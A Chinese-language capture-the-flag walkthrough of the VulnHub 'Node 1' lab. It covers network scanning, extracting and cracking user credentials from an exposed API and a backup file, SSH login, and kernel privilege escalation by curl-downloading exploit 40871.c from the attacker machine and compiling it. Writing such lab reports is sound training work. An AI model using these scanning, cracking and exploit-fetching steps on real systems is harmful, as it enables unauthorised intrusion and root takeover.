靶機下載地址及安裝環境
靶機下載地址:https://www.vulnhub.com/entry/node-1,252/
靶機環境:處於net網絡下的VM虛擬機
滲透實戰
攻擊機:192.168.146.131
靶 機:192.168.146.132(掃描後得到的)
1.安裝完後,由於不知道node靶機的地址,所以滲透第一步就是發現主機:
1)使用nmap快速掃描,發現存活主機:
nmap -sn 192.168.146.0/24
2)使用arp掃描:
arp-scan -l
2.掃描靶機開放的端口,以及版本信息
nmap -sS -A 192.168.146.132
由掃描結果可得知開放兩個端口
22 ssh //說明可以遠程連接拿到shell,那麼我們需要嘗試拿到賬號及密碼,直接遠程登陸ssh
3000 http //http協議,我想應該會和80端口的功能差不多
3.訪問靶機給出的web頁面
http://192.168.146.132:3000
瀏覽頁面,可以看到有個登陸框,嘗試admin/admin登陸,發現登陸失敗。
隨便翻翻頁面上的東西,可以在無意中找到一個有趣的東西:
瀏覽他的js源碼,可以看到在 home.js 代碼中有一個路徑,很有意思:
/api/users/latest
/api/users (上面得路徑是最新的,那麼如果不要最新,訪問一下呢)
嘗試訪問得:
解密得
myP14ceAdm1nAcc0uNT : manchester tom :spongebob mark : snowflake restarting : 未搜到
4.登陸管理賬號
可以看到需要下載一個文件,下載後,裏面是base64密文,解密:
cat myplace.backup | base64 -d > myreplace_base.bak //base64解密文件
file myreplace_base.bak //查看文件類型
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myreplace.bak //爆破文件密碼
5.解壓文件,可以得到的是一個web框架:
審計主要的 app.js 文件得:
從const url裏連接數據庫的語句可以得到ssh連接的賬號密碼
mark : 5AYRft73VtFpc84k
至於爲什麼上面我們在網頁上得到的賬號密碼不 ssh 遠程連接,那是因爲那是web頁面的賬號,存入的是在數據庫裏,不是靶機裏面得賬號,所以ssh連接不上去,而這個mark賬號是連接數據庫的賬號,是屬於主機裏面的,可以ssh遠程連接
6.ssh連接
ssh -l mark 192.168.146.132
輸入密碼: 5AYRft73VtFpc84k
可以看到,拿到的賬號是一個很普通的用戶,那麼接下來,爲了能夠有更高的權限對靶機進行操作,我們需要提權
7.提權
查看的到靶機的內核版本信息
uname -a
由上圖可得爲 4.4.0 ubuntu x86_64
有兩種方法提權
1)在kali機裏,使用自帶的exp 嘗試提權
searchsploit 4.4.0
這時,我們需要查看一下連接的ssh賬號,是否能夠使用 gcc命令,若是不行,那麼我們就需要在本地編譯一下 .c 文件,將生成好的文件再上傳到靶機上
ssh連接的賬號裏運行gcc:
可以看到是由gcc環境的,那麼就可以直接上傳 .c 文件
本機的命令框將 .c 文件上傳到web目錄下,方便ssh賬號請求下載
cp /usr/share/exploitdb/exploits/linux_x86-64/local/40871.c /var/www/html //複製.c文件到web目錄下
service apache2 start //打開apache服務
ssh賬號命令框:
curl -o /tmp/40871.c 192.168.146.131/40871.c //請求下載exp
cd /tmp
gcc 40871.c -o test //編譯exp
可以看到運行失敗,若是運行成功,那麼會在當前目錄下生成test文件,直接運行 ./test 則直接變成root賬戶
若這個exp提權失敗,可以嘗試searchsploit 裏面的其他 exp
2)再網上找到其他大佬寫的最新的exp
https://www.jianshu.com/p/f384fe15e4f3
下載好後,再一次上傳,運行編譯,最後提權成功
好了,本次一次簡單的靶機滲透完美的結束。